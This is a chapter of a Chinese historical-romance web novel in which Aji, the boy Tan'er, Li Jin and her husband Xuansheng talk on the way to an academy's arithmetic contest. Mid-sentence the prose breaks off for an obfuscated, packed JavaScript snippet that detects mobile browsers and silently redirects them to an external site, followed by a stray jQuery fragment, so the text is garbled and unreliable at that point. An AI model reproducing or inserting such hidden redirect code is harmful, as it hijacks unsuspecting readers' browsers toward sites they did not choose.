翻过前面的山头,就是靖恭堂的草堂席设。
潭儿始终跟在阿姊的身后,阿祇转过头,又和这个小尾巴确认道:“你真的没事了?”潭儿与她齐肩高,严格说来已经不是小孩,不是说男女七岁不同席,可他仗着他们的“母子”关系,一刻不想分开,委屈巴巴的眼神看着她,“有事,但回去没阿姊照顾,我想,还是跟着你。”
阿祇叹了一口气,潭儿落单怕被人欺负了,索性就让他跟着。
她拨开小少年的头发,伤口不深本就无碍,“宋繇说,要带我去草堂听学,不然,你带路?”潭儿小嘴一撇,他可不敢让阿祇知道,这里的夫子们都不喜他,表面上他还是乖巧地点头,答应了下来,“好,我带阿姊去。”
乖巧俊美的小郎君,谁会不喜欢呢?
潭儿忽闪着明亮的大眼睛,“阿姊,九数是什么?”
阿祇的眸子颤了一下,十岁的贵族儿郎早已启蒙,他怎会不知九数?面上不敢表现出异样,她仔细说道:“九数,就是方田、粟米、差分、少广、商功、均输、方程、盈不足和旁要,多是用于田地测量,米粮称算,赋税分配,土方田亩计算,还有商贸账目。”
潭儿道:“听着都是下人要学的东西,阿姊,你为什么都会?”
这要她怎么作答,阿祇捏了他的小脸,“知识无价,会就厉害。”潭儿摸了把脸,眼睛放光,他喜欢与阿秭这般亲热。阿祇扫了他一眼,对潭儿训道:“你来的学堂这么久,学会了什么?”
潭儿就等着她问,抬起头哼了一声:“大学之道,治国,齐家,修身,平天下……六艺的教习,无甚大用,我唯爱乐,至于别的东西,我姊姊说学了也没用。”
姊姊……他自觉失言,突然就闭上了嘴。
阿祇回头望着他,有那么一瞬,她似乎看到这十一岁的少年眼中含着冰,既脆弱,又冷薄,阿祇静静地看着潭儿,过了一会儿,只见他捂上伤口,声音虚弱地说:“啊,我的头,好疼。”少年眼神躲闪,呼吸慌乱,“阿姊,我还是先回去休息了。”他踉跄了一下,看来真的头晕了。
阿祇想上前,却还是忍耐住了,潭儿心中有秘密,连身份都不愿吐露,现在不是逼他的时候,也只好装傻,“我送你回去吧。”潭儿像紧张的小猫,一碰就炸毛,“不,不用了,我自己可以。”说完,挥了下手,头也不回地往雅风苑的方向离去。
阿祇看着他瘦小孤独的身影,深深叹了一口气。
不知不觉中,他们相处了数月,历经过患难与共,不论这个孩子背后是怎样的故事,潭儿死里逃生受过的苦难,是她亲眼目睹的。
春日明媚,雪融绿意渐显,这山间已近人间四月天。
希望昨日是最后一场雪,春雨贵如油,西北的苦寒没有她想象的难挨,除了湿冷外,冷冽的空气让人郁气一扫,希望她的卦象有误,今年有个好年景。阿祇出神了没多久,身后有人拍她的肩,叫她的名字:“祖慕祇。”
她回头,看见一张熟悉的笑脸,惊喜地说:“真的是你!娘子……”
话音未落,人就要往她身上扑,眼前竟是许久不见的小李管事——李瑾。阿祇赶紧推开他的熊抱,李四郎怎么还是那个性子,咋咋呼呼地就跳过来喊:“我终于找到你了。”
于阗一别,已是数月光阴。
李瑾黑了不少,身量越发高大,他与宋繇都刚过弱冠之年,一个英武,一个清俊,小李管事的热情爽朗,暗蓝袍子衬得人多了几分沉稳,绕着阿祇转了一圈,看着她无恙,咧开嘴笑道:“宋繇来信说你到了敦煌,我还不信。”
“好久不见,小李管事。”阿祇也笑着问候。
李瑾一把握住她的手,就是心中一暖,“还叫什么小李管事,叫我四郎。”
四郎,我还胖橘呢。这个梗,她大概要偷笑一辈子。笑归笑,她可没忘她家夫君的小心眼,何况李瑾还是他的族弟。阿祇头有点疼,没有转弯抹角,“好,四郎,我是你大嫂。”
突如其来的混乱关系,李瑾脸僵住片刻。
不过,也就片刻而已,没有期待中的距离感,李瑾一甩袖子,又没心没肺地道:“不是还没拜堂吗?”古代的西北,果然民风淳朴。他见阿祇苦口婆心的样子,眼睛一转,忙抢话说:“就算拜堂了也可以和离的,我们家主长兄,他大概这辈子都不需要女人,所以娘子还是嫁我吧,我已经对红楼发过誓的,今生只你一人……”
提到红楼,阿祇要被他气个仰倒。
想当初,在和田城的大街上偶遇,她帮了他那么大的忙,李瑾的脸皮也忒厚,说好的尾款金叶子还欠着呢,可能这头疼病会传染,阿祇跟他打过招呼后,忙找了个理由,“靖恭堂今日甚是热闹,四郎不去看看?”
“什么热闹?娘子,你也说我们许久未见了……”
李瑾胡言乱语的正兴起,不远处,传来低沉的声音。“四郎的性子,是该收收了。”
山野清旷,斯人如皎月,逆着光走来她的夫君,身后还跟着宋繇。玄盛漫不经心地朝他们走来,伸手,阿祇眼睛一弯,乖乖地牵起夫君的手,甜美的笑容令人晃眼,李瑾的眼珠子都快掉了下来,磕磕巴巴道:“兄长,家,家主……”他换了个称呼,从小到大他都有些怕族中的长兄,下任家主。然而,李瑾还是勇敢地说出了心中的话,“君,君子不夺人所好。”
回答他的不是“君子”,却是他身边的“所好”。
刚才在靖恭堂大庭广众之下他们离得远,说不上话,这会儿见他来了,阿祇笑眯眯地拉着玄盛心情大好,簇拥风雅地吟诗道:“美人兮,翠眉蝉鬓怕别离,吾非君子,不为暮雨兮为朝云。”又被夫人调戏的玄盛,阴沉的脸色有所好转,故意靠近她耳边,“山中桃花始盛开,夫人,朝云只见花木深,一曲断肠无知音。”
阿祇被眼前的美色所迷,“桃花乱人眼,吾都说了为朝云,朝云还想怎样?”
可能是他们交头接耳的画面太过刺眼,宋繇安静,犹如不存在,可是李瑾就忍不住了要说话,硬生生地被家主一句话打断,“夫人,若不如像昨日那般处理,就甚好……”
甚好什么!想起昨日,阿祇的脸瞬间红了。
李瑾不明所以,但看娘子那副害羞的表情,好像就懂了。
枉他自诩风流,而从小的印象里,家主天南地北地奔波从不近女色,怎的,就把他的娘子拐走了?看他们站在一起,心中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15425790|154785||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好生不甘,“你们……”情急之下,李瑾连气话都说了出来,“娘子,你是不是欠了家主什么?我跟你说,家主不喜女色,你若嫁给他……”
话还没说完,就被急急赶来的护卫统领郭谦喝止道:“咳,四郎一路奔波,犯了癔症,家主和夫人莫怪啊。”黝黑的汉子露着白牙跑过来,憨厚的笑着圆场,马上训斥李瑾说:“族里不是已经给你订了亲,就是你心心念念的尹家嫡女。”
他故意说得很大声,好在场人都听得清楚。
可惜,李瑾是个一根筋的犟驴性子,“郭叔父,你明知我说的尹家嫡女,不是真的尹家嫡女,是……”郭谦脑门青筋直跳,敢情来的时候就千叮咛万嘱咐,都喂到了狗肚子里,“是什么是,我看你父亲打你打得还不够疼。”
郭谦是看着他长大的长辈,李瑾是三房独子,自小得祖母疼爱,嫡母宠溺,养成了肆无忌惮的性子,他的父亲与郭谦是挚友,原以为有他看着四郎出去磨练几年能稳重些,没想到,还是不让人省心。从西域回来,将他的心思一说,被他父亲好一顿打。
月前,族里的长老收到家主的来信,于阗被围“辛夫人”只身前往相助。为保和田城安然,防天下悠悠众口,这婚书和辛夫人辛纳之女的身份,族老们早就办得妥妥的,虽然只是权宜之计,但阴差阳错的,这辛夫人就成了真。
今日虽然有日头,但雪后的山上还是有些冷。
郭谦赶紧汇报正事,“家主,卑禾羌海来的马车都到了,一路平安。”
一开春,他们一行暗中从陇西远赴高原卑禾羌海,将家主交代的事情办好就急匆匆地赶来敦煌,那时凉州战事正紧,有了效谷令的文书,段业的凉州兵都给了通关便利。
李暠微微点头,说了声:“好。”
郭谦人看着憨厚,但闯江湖了半生,甚是会察言观色,他们朝家主复命后,立即准备回陇西筹备商队。他拉着李瑾走到宋繇跟前,客气地说:“事已办妥,还有劳宋掌事查验。”
宋繇恭敬回礼,“辛苦郭统领了,请带路吧。”
李瑾心不甘情不愿地看向阿祇,还想再挣扎一下,却被力大无比的郭谦提着就走,郭谦不忘提点:“家主宽宏仁厚,你莫再任性,宋掌事见笑了,听说今年靖恭堂出了不少后生……”
看着他们离去的身影,阿祇这才看身旁冷着脸的玄盛,他那深邃的眼眸总算柔和下来,说出的话却意味深长,“夫人,威武。”
阿祇知道,他指的不是李瑾,而是九数比试的事。
每当她出人意料剑走偏锋的时候,玄盛就爱调侃她这句,上次比舞也是,阿祇眨眨眼,“我确定,这回也是你先出的手。”
“哦?好像也是。”
玄盛笑着看向眼睛亮晶晶的阿祇,自家人互坑的戏码,他们玩得乐此不疲,还总默契十足,“我家夫人说她数术最强。这回,可有十足把握?”
阿祇说得理直气壮,“毫无把握。”
这番对话好生熟悉,阿祇牵着他的手用力拉了一下,把她家郎君的脸凑近,才提起脚在他耳边说:“我从来不低估古人,咳,文人的才能……不过,有个想法。”
玄盛苦笑,又来了……